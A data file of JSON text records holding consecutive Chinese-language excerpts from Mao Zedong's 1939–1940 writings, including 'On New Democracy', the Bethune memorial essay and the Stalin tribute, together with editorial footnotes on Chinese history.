    {"text": "第六节 中国革命的前途 在将现阶段上中国社会的性质，中国革命的对象、任务、动力和性质这些基本问题弄清楚了之后，对于中国革命的前途问题，就是说，中国资产阶级民主主义革命和无产阶级社会主义革命的关系问题，中国革命的现在阶段和将来阶段的关系问题，也就容易明白了。 因为既然在现阶段上的中国资产阶级民主主义的革命，不是一般的旧式的资产阶级民主主义的革命，而是特殊的新式的民主主义的革命，而是新民主主义的革命，而中国革命又是处在二十世纪三十和四十年代的新的国际环境中，即处在社会主义向上高涨、资本主义向下低落的国际环境中，处在第二次世界大战和革命的时代，那末，中国革命的终极的前途，不是资本主义的，而是社会主义和共产主义的，也就没有疑义了。 没有问题，现阶段的中国革命既然是为了变更现在的殖民地、半殖民地、半封建社会的地位，即为了完成一个新民主主义的革命而奋斗，那末，在革命胜利之后，因为肃清了资本主义发展道路上的障碍物，资本主义经济在中国社会中会有一个相当程度的发展，是可以想象得到的，也是不足为怪的。"},
    {"text": "就是无产阶级和共产党在全国政治势力中的比重的增长，就是农民、知识分子和城市小资产阶级或者已经或者可能承认无产阶级和共产党的领导权，就是民主共和国的国营经济和劳动人民的合作经济。"},
    {"text": "第七节 中国革命的两重任务 和中国共产党 总结本章各节所述，我们可以明白，整个中国革命是包含着两重任务的。 这就是说，中国革命是包括资产阶级民主主义性质的革命（新民主主义的革命）和无产阶级社会主义性质的革命、现在阶段的革命和将来阶段的革命这样两重任务的。 而这两重革命任务的领导，都是担负在中国无产阶级的政党——中国共产党的双肩之上，离开了中国共产党的领导，任何革命都不能成功。 完成中国资产阶级民主主义的革命（新民主主义的革命），并准备在一切必要条件具备的时候把它转变到社会主义革命的阶段上去，这就是中国共产党光荣的伟大的全部革命任务。"},
    {"text": "有些幼稚的共产党员，以为我们只有在现在阶段的民主主义革命的任务，没有在将来阶段的社会主义革命的任务，或者以为现在的革命或土地革命即是社会主义的革命。"},
    {"text": "领导中国民主主义革命和中国社会主义革命这样两个伟大的革命到达彻底的完成，除了中国共产党之外，是没有任何一个别的政党（不论是资产阶级的政党或小资产阶级的政党）能够担负的。"},
    {"text": "公元前三世纪战国时代，《吕氏春秋》上有“慈石召铁”的话，可见当时中国人已经知道磁石能吸铁。 公元一世纪，东汉王充的《论衡》说磁勺柄指南，可见当时已经发现了磁石的指极性。 根据宋代文献记载，在十一世纪，中国人已经发明了用人造磁针制造的指南针。 到十二世纪初，即宋徽宗时，朱彧的《萍洲可谈》和徐兢的《宣和奉使高丽图经》，都说到航海用指南针，可见当时指南针的使用已经相当普遍。"},
    {"text": "〔7〕 陈胜、吴广是秦末农民大起义的领袖。 公元前二○九年，即秦二世元年，陈胜、吴广往戍地途中在蕲县大泽乡（今安徽省宿县东南）率领同行戍卒九百人起义，反抗秦朝的残暴统治。"},
    {"text": "公元十七年，新市（今湖北省京山县东北）人王匡、王凤领导饥民起义，以绿林山为基地，称为“绿林军”。 后绿林军一部在王匡、王凤率领下北入南阳，称“新市兵”。"},
    {"text": "〔12〕 宋江和方腊分别是公元十二世纪初即北宋末年北方和南方农民起义的有名首领。 宋江率领的起义队伍，主要活动于山东、河北、河南、江苏一带； 方腊率领的起义队伍，主要活动于浙江、安徽一带。"},
    {"text": "〔14〕 见本书第一卷《关于纠正党内的错误思想》注〔5〕。 〔15〕 见本书第一卷《论反对日本帝国主义的策略》注〔36〕。 〔16〕 见本书第一卷《论反对日本帝国主义的策略》注〔35〕。 〔17〕 见本书第一卷《论反对日本帝国主义的策略》注〔4〕。"},
    {"text": "一八五七年至一八六○年，英法联军先后攻陷广州、天津、北京等重要城市，劫掠并焚毁北京圆明园，迫使清朝政府订立了《天津条约》和《北京条约》。"},
    {"text": "这些条约主要规定将天津、牛庄（后改为营口）、登州（后改为烟台）、台湾（台南）、淡水、潮州（后改为汕头）、琼州、南京、镇江、九江、汉口等处开辟为商埠；"},
    {"text": "但是，腐朽的清朝政府在战争胜利之后，反而签订了屈辱的《天津条约》，允许在云南、广西两省的中越边界开埠通商，使法国侵略势力得以伸入中国西南地区。"},
    {"text": "〔21〕 一九○○年，英、美、德、法、俄、日、意、奥八个帝国主义国家，为了镇压义和团的反侵略运动，联合出兵进攻中国，中国人民进行了英勇的抵抗。"},
    {"text": "〔22〕 领事裁判权，是帝国主义国家强迫旧中国政府缔结的不平等条约中所规定的特权之一，开始于一八四三年的中英《虎门条约》和一八四四年的中美《望厦条约》。"},
    {"text": "〔23〕 从十九世纪末起，侵略中国的各帝国主义国家，按照他们各自在中国的经济和军事的势力，曾经将中国的某些地区划为自己的势力范围。 例如，当时长江流域各省被划为英国的势力范围，云南、广西、广东被划为法国的势力范围，山东被划为德国的势力范围，福建被划为日本的势力范围，东三省原划为沙俄的势力范围，一九○五年日俄战争后，东三省南部又成为日本的势力范围。 〔24〕 帝国主义国家在强迫清朝政府开放了沿江沿海的许多地方为通商口岸后，于一八四五年开始在这些地方强占一定的地区作为“租界”。"},
    {"text": "〔26〕 见斯大林一九二七年五月二十四日在共产国际执行委员会第八次全会第十次会议上的演说《中国革命和共产国际的任务》（《斯大林全集》第9卷，人民出版社1954年版，第260页）。"},
    {"text": "〔27〕 见本卷《论持久战》注〔12〕。 〔28〕 见本书第一卷《论反对日本帝国主义的策略》注〔37〕。 〔29〕 见本书第一卷《湖南农民运动考察报告》注〔3〕。 〔30〕 见本书第一卷《实践论》注〔6〕。 〔31〕 见本书第一卷《中国社会各阶级的分析》注〔9〕。 〔32〕 见本书第一卷《论反对日本帝国主义的策略》注〔31〕。 〔33〕 见斯大林《论中国革命的前途》（《斯大林选集》上卷，人民出版社1979年版，第487页）。"},
    {"text": "一九四○年毛泽东写信给中央军委总政治部宣传部长萧向荣，指出正在编写的战士课本需加修改，“要将大资产阶级与民族资产阶级，亲日派大资产阶级与非亲日派（即英美派）大资产阶级，大地主与中小地主及开明绅士，加以区别”；"},
    {"text": "他说：一九三九年十二月写《中国革命和中国共产党》第二章时，“正在第一次反共高潮的头几个月，民族资产阶级与开明绅士的态度是否与大资产阶级大地主有区别，还不能明显地看出来，到今年三月就可以看出来了，请参看三月十一日我的那个《统一战线中的策略问题》”。"},
    {"text": "在资产阶级民主思想的影响下，中国留学生中的很多人先后组织爱国团体，出版革命报刊，宣传资产阶级民主革命思想，反对帝国主义侵略中国。"},
    {"text": "斯大林是中国人民的朋友 斯大林是中国人民的朋友 （一九三九年十二月二十日） 今年十二月二十一日，是斯大林同志的六十岁生日。这个生日，在全世界上，在只要是知道的又是革命的人们的心中，可以料得到，都会引起亲切的热烈的庆祝。 庆祝斯大林，这不是一件应景的事情。庆祝斯大林，这就是说，拥护他，拥护他的事业，拥护社会主义的胜利，拥护他给人类指示的方向，拥护自己的亲切的朋友。因为现在全世界上大多数的人类都是受难者，只有斯大林指示的方向，只有斯大林的援助，才能解脱人类的灾难。 我们中国人民，是处在历史上灾难最深重的时候，是需要人们援助最迫切的时候。《诗经》上说的“：嘤其鸣矣，求其友声。”我们正是处在这种时候。 但是，谁是我们的朋友呢？ 一类所谓朋友，他们自称是中国人民的朋友；中国人中间有些人也不加思索地称他们做朋友。但是这种朋友，只能属于唐朝的李林甫 〔1〕 一类。李林甫是唐朝的宰相，是一个有名的被称为“口蜜腹剑”的人。现在这些所谓朋友，正是“口蜜腹剑”的朋友。这些人是谁呢？就是那些口称同情中国的帝国主义者。 另一类朋友则不然，他们是拿真正的同情给我们的，他们是把我们当做弟兄看待的。这些人是谁呢？就是苏联的人民，就是斯大林。 没有一个国家把它在中国的特权废除过，只有苏联是废除了。 第一次大革命时期，一切帝国主义者都反对我们，只有苏联援助了我们。 抗日战争以来，没有一个帝国主义国家的政府真正援助我们，只有苏联是用了空军和物资援助了我们。 这还不够明白吗？ 中华民族和中国人民的解放事业，只有社会主义的国家，社会主义的领袖，社会主义的人民，社会主义的思想家、政治家、劳动者，才能真正援助；而我们的事业，没有他们的援助是不能取得最后胜利的。 斯大林是中国人民解放事业的忠实的朋友。中国人民对于斯大林的敬爱，对于苏联的友谊，是完全出于诚意的，任何人的挑拨离间，造谣污蔑，到底都没有用处。 注 释 〔1〕 李林甫，公元八世纪人，唐玄宗时的一个宰相。《资治通鉴》说：“李林甫为相，凡才望功业出己右及为上所厚、势位将逼己者，必百计去之；尤忌文学之士，或阳与之善，啗以甘言而阴陷之。世谓李林甫‘口有蜜，腹有剑’。”"},
    {"text": "纪念白求恩 纪念白求恩 （一九三九年十二月二十一日） 白求恩 〔1〕 同志是加拿大共产党员，五十多岁了，为了帮助中国的抗日战争，受加拿大共产党和美国共产党的派遣，不远万里，来到中国。去年春上到延安，后来到五台山工作，不幸以身殉职。一个外国人，毫无利己的动机，把中国人民的解放事业当作他自己的事业，这是什么精神？这是国际主义的精神，这是共产主义的精神，每一个中国共产党员都要学习这种精神。列宁主义认为：资本主义国家的无产阶级要拥护殖民地半殖民地人民的解放斗争，殖民地半殖民地的无产阶级要拥护资本主义国家的无产阶级的解放斗争，世界革命才能胜利 〔2〕 。白求恩同志是实践了这一条列宁主义路线的。我们中国共产党员也要实践这一条路线。我们要和一切资本主义国家的无产阶级联合起来，要和日本的、英国的、美国的、德国的、意大利的以及一切资本主义国家的无产阶级联合起来，才能打倒帝国主义，解放我们的民族和人民，解放世界的民族和人民。这就是我们的国际主义，这就是我们用以反对狭隘民族主义和狭隘爱国主义的国际主义。 白求恩同志毫不利己专门利人的精神，表现在他对工作的极端的负责任，对同志对人民的极端的热忱。每个共产党员都要学习他。不少的人对工作不负责任，拈轻怕重，把重担子推给人家，自己挑轻的。一事当前，先替自己打算，然后再替别人打算。出了一点力就觉得了不起，喜欢自吹，生怕人家不知道。对同志对人民不是满腔热忱，而是冷冷清清，漠不关心，麻木不仁。这种人其实不是共产党员，至少不能算一个纯粹的共产党员。从前线回来的人说到白求恩，没有一个不佩服，没有一个不为他的精神所感动。晋察冀边区的军民，凡亲身受过白求恩医生的治疗和亲眼看过白求恩医生的工作的，无不为之感动。每一个共产党员，一定要学习白求恩同志的这种真正共产主义者的精神。 白求恩同志是个医生，他以医疗为职业，对技术精益求精；在整个八路军医务系统中，他的医术是很高明的。这对于一班见异思迁的人，对于一班鄙薄技术工作以为不足道、以为无出路的人，也是一个极好的教训。 我和白求恩同志只见过一面。后来他给我来过许多信。可是因为忙，仅回过他一封信，还不知他收到没有。对于他的死，我是很悲痛的。现在大家纪念他，可见他的精神感人之深。我们大家要学习他毫无自私自利之心的精神。从这点出发，就可以变为大有利于人民的人。一个人能力有大小，但只要有这点精神，就是一个高尚的人，一个纯粹的人，一个有道德的人，一个脱离了低级趣味的人，一个有益于人民的人。 注 释 〔1〕 白求恩即诺尔曼·白求恩（一八九○——一九三九），加拿大共产党党员，著名的医生。一九三六年德意法西斯侵犯西班牙时，他曾经亲赴前线为反法西斯的西班牙人民服务。一九三七年中国的抗日战争爆发，他率领加拿大美国医疗队，于一九三八年初来中国，三月底到达延安，不久赴晋察冀边区，在那里工作了一年多。他的牺牲精神、工作热忱、责任心，均称模范。由于在一次为伤员施行急救手术时受感染，一九三九年十一月十二日在河北省唐县逝世。 〔2〕 参见列宁《民族和殖民地问题提纲初稿》和《民族和殖民地问题委员会的报告》（《列宁全集》第39卷，人民出版社1986年版，第159—166、229—234页）。"},
    {"text": "新民主主义论 新民主主义论 * （一九四○年一月） 一 中国向何处去 抗战以来，全国人民有一种欣欣向荣的气象，大家以为有了出路，愁眉锁眼的姿态为之一扫。"},
    {"text": "这就是说，我们不但要把一个政治上受压迫、经济上受剥削的中国，变为一个政治上自由和经济上繁荣的中国，而且要把一个被旧文化统治因而愚昧落后的中国，变为一个被新文化统治因而文明先进的中国。"},
    {"text": "” 〔4〕 这是自有人类历史以来第一次正确地解决意识和存在关系问题的科学的规定，而为后来列宁所深刻地发挥了的能动的革命的反映论之基本的观点。"},
    {"text": "这样说来，问题是很清楚的，我们要革除的那种中华民族旧文化中的反动成分，它是不能离开中华民族的旧政治和旧经济的； 而我们要建立的这种中华民族的新文化，它也不能离开中华民族的新政治和新经济。 中华民族的旧政治和旧经济，乃是中华民族的旧文化的根据； 而中华民族的新政治和新经济，乃是中华民族的新文化的根据。 所谓中华民族的旧政治和旧经济是什么？ 而所谓中华民族的旧文化又是什么？"},
    {"text": "自周秦以来，中国是一个封建社会，其政治是封建的政治，其经济是封建的经济。 而为这种政治和经济之反映的占统治地位的文化，则是封建的文化。"},
    {"text": "自外国资本主义侵略中国，中国社会又逐渐地生长了资本主义因素以来，中国已逐渐地变成了一个殖民地、半殖民地、半封建的社会。 现在的中国，在日本占领区，是殖民地社会； 在国民党统治区，基本上也还是一个半殖民地社会； 而不论在日本占领区和国民党统治区，都是封建半封建制度占优势的社会。"},
    {"text": "作为统治的东西来说，这种社会的政治是殖民地、半殖民地、半封建的政治，其经济是殖民地、半殖民地、半封建的经济，而为这种政治和经济之反映的占统治地位的文化，则是殖民地、半殖民地、半封建的文化。"},
    {"text": "这些统治的政治、经济和文化形态，就是我们革命的对象。 我们要革除的，就是这种殖民地、半殖民地、半封建的旧政治、旧经济和那为这种旧政治、旧经济服务的旧文化。"},
    {"text": "而我们要建立起来的，则是与此相反的东西，乃是中华民族的新政治、新经济和新文化。 那末，什么是中华民族的新政治、新经济，又什么是中华民族的新文化呢？"},
    {"text": "而所谓民主主义，现在已不是旧范畴的民主主义，已不是旧民主主义，而是新范畴的民主主义，而是新民主主义。 由此可以断言，所谓中华民族的新政治，就是新民主主义的政治； 所谓中华民族的新经济，就是新民主主义的经济； 所谓中华民族的新文化，就是新民主主义的文化。"},
    {"text": "在中国从事革命的一切党派，一切人们，谁不懂得这个历史特点，谁就不能指导这个革命和进行这个革命到胜利，谁就会被人民抛弃，变为向隅而泣的可怜虫。"},
    {"text": "四 中国革命是世界革命的一部分 中国革命的历史特点是分为民主主义和社会主义两个步骤，而其第一步现在已不是一般的民主主义，而是中国式的、特殊的、新式的民主主义，而是新民主主义。"},
    {"text": "只要研究一下中国的和世界的历史发展，就知道这个历史特点，并不是从鸦片战争 〔5〕 以来就有了的，而是在后来，在第一次帝国主义世界大战和俄国十月革命之后，才形成的。"},
    {"text": "这个第一步的准备阶段，还是自从一八四○年鸦片战争以来，即中国社会开始由封建社会改变为半殖民地半封建社会以来，就开始了的。 中经太平天国运动 〔6〕 、中法战争 〔7〕 、中日战争 〔8〕 、戊戌变法 〔9〕 、辛亥革命 〔10〕 、五四运动 〔11〕 、北伐战争、土地革命战争、直到今天的抗日战争，这样许多个别的阶段，费去了整整一百年工夫，从某一点上说来，都是实行这第一步，都是中国人民在不同的时间中和不同的程度上实行这第一步，实行反对帝国主义和封建势力，为了建立一个独立的民主主义的社会而斗争，为了完成第一个革命而斗争。"},
    {"text": "然而中国资产阶级民主主义革命，自从一九一四年爆发第一次帝国主义世界大战和一九一七年俄国十月革命在地球六分之一的土地上建立了社会主义国家以来，起了一个变化。 在这以前，中国资产阶级民主主义革命，是属于旧的世界资产阶级民主主义革命的范畴之内的，是属于旧的世界资产阶级民主主义革命的一部分。 在这以后，中国资产阶级民主主义革命，却改变为属于新的资产阶级民主主义革命的范畴，而在革命的阵线上说来，则属于世界无产阶级社会主义革命的一部分了。"},
    {"text": "在世界资本主义战线已在地球的一角（这一角占全世界六分之一的土地）崩溃，而在其余的角上又已经充分显露其腐朽性的时代，在这些尚存的资本主义部分非更加依赖殖民地半殖民地便不能过活的时代，在社会主义国家已经建立并宣布它愿意为了扶助一切殖民地半殖民地的解放运动而斗争的时代，在各个资本主义国家的无产阶级一天一天从社会帝国主义的社会民主党的影响下面解放出来并宣布他们赞助殖民地半殖民地解放运动的时代，在这种时代，任何殖民地半殖民地国家，如果发生了反对帝国主义，即反对国际资产阶级、反对国际资本主义的革命，它就不再是属于旧的世界资产阶级民主主义革命的范畴，而属于新的范畴了；"},
    {"text": "它就不再是旧的资产阶级和资本主义的世界革命的一部分，而是新的世界革命的一部分，即无产阶级社会主义世界革命的一部分了。 这种革命的殖民地半殖民地，已经不能当作世界资本主义反革命战线的同盟军，而改变为世界社会主义革命战线的同盟军了。"},
    {"text": "这种殖民地半殖民地革命的第一阶段，第一步，虽然按其社会性质，基本上依然还是资产阶级民主主义的，它的客观要求，是为资本主义的发展扫清道路；"},
    {"text": "然而这种革命，已经不是旧的、被资产阶级领导的、以建立资本主义的社会和资产阶级专政的国家为目的的革命，而是新的、被无产阶级领导的、以在第一阶段上建立新民主主义的社会和建立各个革命阶级联合专政的国家为目的的革命。"},
    {"text": "而是新的世界革命，而是社会主义的世界革命。 同样，这种“一部分”，已经不是旧的资产阶级革命的一部分，而是新的社会主义革命的一部分。"},
    {"text": "斯大林还在一九一八年所作十月革命一周年纪念的论文时，就说道： “十月革命的伟大的世界意义，主要的是：第一，它扩大了民族问题的范围，把它从欧洲反对民族压迫的斗争的局部问题，变为各被压迫民族、各殖民地及半殖民地从帝国主义之下解放出来的总问题；"},
    {"text": "第二，它给这一解放开辟了广大的可能性和现实的道路，这就大大地促进了西方和东方的被压迫民族的解放事业，把他们吸引到胜利的反帝国主义斗争的巨流中去；"},
    {"text": "第三，它从而在社会主义的西方和被奴役的东方之间架起了一道桥梁，建立了一条从西方无产者经过俄国革命到东方被压迫民族的新的反对世界帝国主义的革命战线。"},
    {"text": "” 〔12〕 从这篇文章以后，斯大林曾经多次地发挥了关于论述殖民地半殖民地的革命脱离了旧范畴，改变成了无产阶级社会主义革命一部分的理论。"},
    {"text": "然而，斯大林那本小册子是在帝国主义战争以前写的，那时候民族问题在马克思主义者看来还不是一个具有全世界意义的问题，那时候马克思主义者关于民族自决权的基本要求不是当作无产阶级革命的一部分，而是当作资产阶级民主革命的一部分。"},
    {"text": "自那时候起，国际形势已经根本地改变了，战争和俄国十月革命已把民族问题从资产阶级民主革命的一部分变成了无产阶级社会主义革命的一部分了，——要是看不清这一点，那就未免太可笑了。"},
    {"text": "列宁还在一九一六年十月间，就在他的《民族自决权讨论的总结》一文中说过，民族问题中关于民族自决权的基本点，已不再是一般民主运动的一部分，它已经变成一般无产阶级的、社会主义革命的一个构成部分了。"},
    {"text": "现在，当我们由于新的历史环境而进入于一个新的时代——无产阶级革命的时代，舍米契在这一切以后却引证斯大林在俄国资产阶级民主革命时期所写的那本小册子中的一个地方，这能有什么意义呢？ 它只能有这样一个意义，就是舍米契是离开时间和空间，不顾到活的历史环境来引证的，因而违反了辩证法的最基本的要求，没有考虑到在某一个历史环境下是正确的东西在另一个历史环境下就可以成为不正确的。"},
    {"text": "不管被压迫民族中间参加革命的阶级、党派或个人，是何种的阶级、党派或个人，又不管他们意识着这一点与否，他们主观上了解了这一点与否，只要他们反对帝国主义，他们的革命，就成了无产阶级社会主义世界革命的一部分，他们就成了无产阶级社会主义世界革命的同盟军。"},
    {"text": "是在苏联已经到了由社会主义到共产主义的过渡期，有能力领导和援助全世界无产阶级和被压迫民族，反抗帝国主义战争，打击资本主义反动的时候；"},
    {"text": "这个中国革命的第一阶段（其中又分为许多小阶段），其社会性质是新式的资产阶级民主主义的革命，还不是无产阶级社会主义的革命，但早已成了无产阶级社会主义的世界革命的一部分，现在则更成了这种世界革命的伟大的一部分，成了这种世界革命的伟大的同盟军。 这个革命的第一步、第一阶段，决不是也不能建立中国资产阶级专政的资本主义的社会，而是要建立以中国无产阶级为首领的中国各个革命阶级联合专政的新民主主义的社会，以完结其第一阶段。"},
    {"text": "这就是现时中国革命的最基本的特点，这就是二十年来（从一九一九年五四运动算起）的新的革命过程，这就是现时中国革命的生动的具体的内容。"},
    {"text": "在一九一九年五四运动以前（五四运动发生于一九一四年第一次帝国主义大战和一九一七年俄国十月革命之后），中国资产阶级民主革命的政治指导者是中国的小资产阶级和资产阶级（他们的知识分子）。"},
    {"text": "在五四运动以后，虽然中国民族资产阶级继续参加了革命，但是中国资产阶级民主革命的政治指导者，已经不是属于中国资产阶级，而是属于中国无产阶级了。"},
    {"text": "由于中国民族资产阶级是殖民地半殖民地国家的资产阶级，是受帝国主义压迫的，所以，虽然处在帝国主义时代，他们也还是在一定时期中和一定程度上，保存着反对外国帝国主义和反对本国官僚军阀政府（这后者，例如在辛亥革命时期和北伐战争时期）的革命性，可以同无产阶级、小资产阶级联合起来，反对它们所愿意反对的敌人。"},
    {"text": "但同时，也即是由于他们是殖民地半殖民地的资产阶级，他们在经济上和政治上是异常软弱的，他们又保存了另一种性质，即对于革命敌人的妥协性。"},
    {"text": "中国的民族资产阶级，即使在革命时，也不愿意同帝国主义完全分裂，并且他们同农村中的地租剥削有密切联系，因此，他们就不愿和不能彻底推翻帝国主义，更加不愿和更加不能彻底推翻封建势力。"},
    {"text": "至于中国的大资产阶级，以国民党为代表，在一九二七年至一九三七年这一个长的时期内，一直是投入帝国主义的怀抱，并和封建势力结成同盟，反对革命人民的。"},
    {"text": "在中国，事情非常明白，谁能领导人民推翻帝国主义和封建势力，谁就能取得人民的信仰，因为人民的死敌是帝国主义和封建势力、而特别是帝国主义的缘故。"},
    {"text": "所以，无论如何，中国无产阶级、农民、知识分子和其他小资产阶级，乃是决定国家命运的基本势力。 这些阶级，或者已经觉悟，或者正在觉悟起来，他们必然要成为中华民主共和国的国家构成和政权构成的基本部分，而无产阶级则是领导的力量。"},
    {"text": "现在所要建立的中华民主共和国，只能是在无产阶级领导下的一切反帝反封建的人们联合专政的民主共和国，这就是新民主主义的共和国，也就是真正革命的三大政策的新三民主义共和国。"},
    {"text": "这种新民主主义共和国，一方面和旧形式的、欧美式的、资产阶级专政的、资本主义的共和国相区别，那是旧民主主义的共和国，那种共和国已经过时了； 另一方面，也和苏联式的、无产阶级专政的、社会主义的共和国相区别，那种社会主义的共和国已经在苏联兴盛起来，并且还要在各资本主义国家建立起来，无疑将成为一切工业先进国家的国家构成和政权构成的统治形式；"},
    {"text": "只要是殖民地或半殖民地的革命，其国家构成和政权构成，基本上必然相同，即几个反对帝国主义的阶级联合起来共同专政的新民主主义的国家。"},
    {"text": "但可惜，抗战许久了，除了共产党领导下的抗日民主根据地外，大部分地区关于国家民主化的工作基本上还未着手，日本帝国主义就利用这个最根本的弱点，大踏步地打了进来；"},
    {"text": "这里所谈的是“国体”问题。 这个国体问题，从前清末年起，闹了几十年还没有闹清楚。 其实，它只是指的一个问题，就是社会各阶级在国家中的地位。"},
    {"text": "中国现在可以采取全国人民代表大会、省人民代表大会、县人民代表大会、区人民代表大会直到乡人民代表大会的系统，并由各级代表大会选举政府。"},
    {"text": "但必须实行无男女、信仰、财产、教育等差别的真正普遍平等的选举制，才能适合于各革命阶级在国家中的地位，适合于表现民意和指挥革命斗争，适合于新民主主义的精神。"},
    {"text": "“非少数人所得而私”的精神，必须表现在政府和军队的组成中，如果没有真正的民主制度，就不能达到这个目的，就叫做政体和国体不相适应。"},
    {"text": "这就是新民主主义的政治，这就是新民主主义的共和国，这就是抗日统一战线的共和国，这就是三大政策的新三民主义的共和国，这就是名副其实的中华民国。"},
    {"text": "“凡本国人及外国人之企业，或有独占的性质，或规模过大为私人之力所不能办者，如银行、铁道、航路之属，由国家经营管理之，使私有资本制度不能操纵国民之生计，此则节制资本之要旨也。"},
    {"text": "在无产阶级领导下的新民主主义共和国的国营经济是社会主义的性质，是整个国民经济的领导力量，但这个共和国并不没收其他资本主义的私有财产，并不禁止“不能操纵国民生计”的资本主义生产的发展，这是因为中国经济还十分落后的缘故。"},
    {"text": "这个共和国将采取某种必要的方法，没收地主的土地，分配给无地和少地的农民，实行中山先生“耕者有其田”的口号，扫除农村中的封建关系，把土地变为农民的私产。"},
    {"text": "中国的经济，一定要走“节制资本”和“平均地权”的路，决不能是“少数人所得而私”，决不能让少数资本家少数地主“操纵国民生计”，决不能建立欧美式的资本主义社会，也决不能还是旧的半封建社会。"},
    {"text": "正因为日本帝国主义陷在严重的经济危机和政治危机的深坑之中，就是说，它快要死了，它就一定要打中国，一定要把中国变为殖民地，它就断绝了中国建立资产阶级专政和发展民族资本主义的路。"},
    {"text": "虽然不能说，中国革命的胜利一定要在日本和英、美、法、德、意各国或其中一二国的革命胜利之后，但须加上它们的力量才能胜利，这是没有疑义的。"},
    {"text": "如果说，由于特殊条件（资产阶级战胜了希腊的侵略，无产阶级的力量太薄弱），在第一次帝国主义大战和十月革命之后，还有过一个基马尔式的小小的资产阶级专政的土耳其 〔16〕 ，那末，在第二次世界大战和苏联已经完成社会主义建设之后，就决不会再有一个土耳其，尤其决不容许有一个四亿五千万人口的土耳其。"},
    {"text": "处在今天的国际环境中，殖民地半殖民地的任何英雄好汉们，要就是站在帝国主义战线方面，变为世界反革命力量的一部分； 要就是站在反帝国主义战线方面，变为世界革命力量的一部分。"},
    {"text": "中国资产阶级，以大资产阶级为首，在一九二七年的革命刚刚由于无产阶级、农民和其他小资产阶级的力量而得到胜利之际，他们就一脚踢开了这些人民大众，独占革命的果实，而和帝国主义及封建势力结成了反革命联盟，并且费了九牛二虎之力，举行了十年的“剿共”战争。"},
    {"text": "谁要加进他那一伙去，那是行的，但是什么资产阶级专政呀，资本主义社会呀，基马尔主义呀，现代国家呀，一党专政呀，一个主义呀，等等花腔，岂非更加不好意思唱了吗？"},
    {"text": "如果不入汪精卫一伙，要入抗日一伙，又想于抗日胜利之后，一脚踢开抗日人民，自己独占抗日成果，来一个“一党专政万岁”，又岂非近于做梦吗？"},
    {"text": "我们诚心诚意地奉劝这些先生们，你们也应该睁开眼睛看一看中国和世界，看一看国内和国外，看一看现在是什么样子，不要再重复你们的错误了。"},
    {"text": "我们共产党人对于一切革命的人们，是决不排斥的，我们将和所有愿意抗日到底的阶级、阶层、政党、政团以及个人，坚持统一战线，实行长期合作。"},
    {"text": "有些恶意的宣传家，故意混淆这两个不同的革命阶段，提倡所谓“一次革命论”，用以证明什么革命都包举在三民主义里面了，共产主义就失了存在的理由；"},
    {"text": "在华中华南，日寇允许中国资本家投资百分之五十一，日资占百分之四十九； 在华北，日寇允许中国资本家投资百分之四十九，日资占百分之五十一。 日寇并允许将各中国资本家原有产业，发还他们，折合计算，充作资本。"},
    {"text": "于是什么“一次革命论”呀，共产主义不适合中国国情呀，共产党在中国没有存在之必要呀，八路军新四军破坏抗日、游而不击呀，陕甘宁边区是封建割据呀，共产党不听话、不统一、有阴谋、要捣乱呀，来这么一套，骗那些不知世事的人，以便时机一到，资本家们就很有理由地去拿百分之四十九或五十一，而把全民族的利益一概卖给敌人。"},
    {"text": "但是还有另外一些人，他们似乎并无恶意，也迷惑于所谓“一次革命论”，迷惑于所谓“举政治革命与社会革命毕其功于一役”的纯主观的想头；"},
    {"text": "如果说，两个革命阶段中，第一个为第二个准备条件，而两个阶段必须衔接，不容横插一个资产阶级专政的阶段，这是正确的，这是马克思主义的革命发展论。"},
    {"text": "如果说，民主革命没有自己的一定任务，没有自己的一定时间，而可以把只能在另一个时间去完成的另一任务，例如社会主义的任务，合并在民主主义任务上面去完成，这个叫做“毕其功于一役”，那就是空想，而为真正的革命者所不取的。"},
    {"text": "九 驳顽固派 于是资产阶级顽固派就跑出来说：好，你们共产党既然把社会主义社会制度推到后一个阶段去了，你们既然又宣称“三民主义为中国今日之必需，本党愿为其彻底实现而奋斗” 〔20〕 ，那末，就把共产主义暂时收起好了。"},
    {"text": "在共产党人，正因三民主义的政治原则有和自己的最低纲领基本上相同之点，所以才有可能承认“三民主义为抗日统一战线的政治基础”，才有可能承认“三民主义为中国今日之必需，本党愿为其彻底实现而奋斗”，否则就没有这种可能了。 这是共产主义和三民主义在民主革命阶段上的统一战线，孙中山所谓“共产主义是三民主义的好朋友” 〔21〕 ，也正是指的这种统一战线。"},
    {"text": "现在封建阶级有封建主义，资产阶级有资本主义，佛教徒有佛教主义，基督徒有基督主义，农民有多神主义，近年还有人提倡什么基马尔主义，法西斯主义，唯生主义 〔22〕 ，“按劳分配主义” 〔23〕 ，为什么无产阶级不可以有一个共产主义呢？"},
    {"text": "为了免除误会，并使顽固派开开眼界起见，关于三民主义和共产主义的异同，有清楚指明之必要。 三民主义和共产主义两个主义比较起来，有相同的部分，也有不同的部分。"},
    {"text": "一九二四年孙中山重新解释的三民主义中的革命的民族主义、民权主义和民生主义这三个政治原则，同共产主义在中国民主革命阶段的政纲，基本上是相同的。"},
    {"text": "共产主义于民主革命阶段之外，还有一个社会主义革命阶段，因此，于最低纲领之外，还有一个最高纲领，即实现社会主义和共产主义社会制度的纲领。 三民主义则只有民主革命阶段，没有社会主义革命阶段，因此它就只有最低纲领，没有最高纲领，即没有建立社会主义和共产主义社会制度的纲领。"},
    {"text": "一〇 旧三民主义和新三民主义 资产阶级顽固派完全不知道历史的变化，其知识的贫乏几等于零。 他们既不知道共产主义和三民主义的区别，也不知道新三民主义和旧三民主义的区别。"},
    {"text": "我们共产党人承认“三民主义为抗日民族统一战线的政治基础”，承认“三民主义为中国今日之必需，本党愿为其彻底实现而奋斗”，承认共产主义的最低纲领和三民主义的政治原则基本上相同。"},
    {"text": "”就可知只有这种三民主义，才是真三民主义，其他都是伪三民主义。 只有《中国国民党第一次全国代表大会宣言》里对于三民主义的解释才是“真释”，其他一切都是伪释。"},
    {"text": "在这以前，三民主义是旧范畴的三民主义，是旧的半殖民地资产阶级民主革命的三民主义，是旧民主主义的三民主义，是旧三民主义。 在这以后，三民主义是新范畴的三民主义，是新的半殖民地资产阶级民主革命的三民主义，是新民主主义的三民主义，是新三民主义。"},
    {"text": "只有这种三民主义，才是新时期的革命的三民主义。 这种新时期的革命的三民主义，新三民主义或真三民主义，是联俄、联共、扶助农工三大政策的三民主义。 没有三大政策，或三大政策缺一，在新时期中，就都是伪三民主义，或半三民主义。 第一，革命的三民主义，新三民主义，或真三民主义，必须是联俄的三民主义。"},
